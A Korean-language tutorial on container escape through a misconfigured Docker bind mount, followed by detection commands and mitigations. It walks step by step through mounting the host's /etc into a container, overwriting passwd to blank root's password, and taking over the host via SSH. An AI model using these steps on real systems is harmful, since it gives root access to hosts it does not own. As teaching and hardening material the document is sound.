개요

컨테이너 기술은 운영체제 수준의 가상화 기술로 Host 운영체제와 격리되어 실행된다는 것이 보안 관점에서 큰 메리트가 있다. 하지만 기존의 취약점들과 동일하게 관리자의 미흡한 설정, 격리 기술 우회 등 다양한 위협 포인트가 계속해서 발생하고 있다. 이 장에서는 관리자의 미흡한 설정으로 사용자가 컨테이너를 탈출하여 Host 시스템을 탈취하는 시나리오를 알아보자.

 

Mount란?

리눅스에서 디스크와 같은 물리적 장치를 특정위치(디렉터리)에 연결시켜 주는 것

 

Bind Mount란?

Host의 파일 시스템을 컨테이너의 특정위치(디렉터리)에 연결시켜 주는 것

 

부적절한 Bind Mount 설정 취약점

1. Docker가 설치된 리눅스 준비

 

2. Host의 /etc 디렉터리를 컨테이너의 /tmp 디렉터리로 Bind Mount 하는 tomcat 컨테이너 생성

[root@localhost ~]# docker run -v /etc:/tmp -d --name tomcat tomcat:9.0

 

3. 생성한 컨테이너를 /bin/bash로 실행하여 쉘 획득

[root@localhost ~]# docker exec -it tomcat /bin/bash

 

4. ls 명령어로 /tmp 디렉터리를 확인하여, Host의 /etc 디렉터리가 정상 마운트 되었는지 확인

[root@localhost ~]# docker exec -it tomcat /bin/bash

 

5. passwd 파일을 수정하여 root의 패스워드를 공란으로 변경

root@a940133bd638:/usr/local/tomcat# cat > /tmp/passwd
root::0:0:root:/root:/bin/bash
~
ctrl + d

 

6. SSH를 이용하여 Host 시스템에 root 계정으로 로그인 성공 및 Host 시스템 권한 탈취 성공

SSH 192.168.154.139

 

부적절한 Bind Mount 확인

Host 시스템에서 모든 컨테이너에 대해 마운트된 볼륨 정보 출력

[root@localhost ~]# docker ps --quiet --all | xargs docker inspect --format '{{ .Id }}: Volumes={{ .Mounts }}'

 

부적절한 Bind Mount 조치

1. 주요 시스템 디렉터리 마운트 금지

/boot, /dev, /etc, /lib, /proc, /sys, /usr 등

 

2. 호스트 장치 파일 컨테이너에 직접 노출 금지 (노출 최소화 및 올바른 사용권한 부여)

예시) docker run --interactive --tty --device=/dev/tty0:/dev/tty0:rw -- device=/dev/temp_sda:/dev/temp_sda:r centos bash

 

3. root가 아닌 user로 컨테이너 실행 (User=빈칸 > root로 실행한 컨테이너)

docker ps --quiet --all | xargs docker inspect --format '{{ .Id }}: User={{ .Config.User }}'

복사했습니다!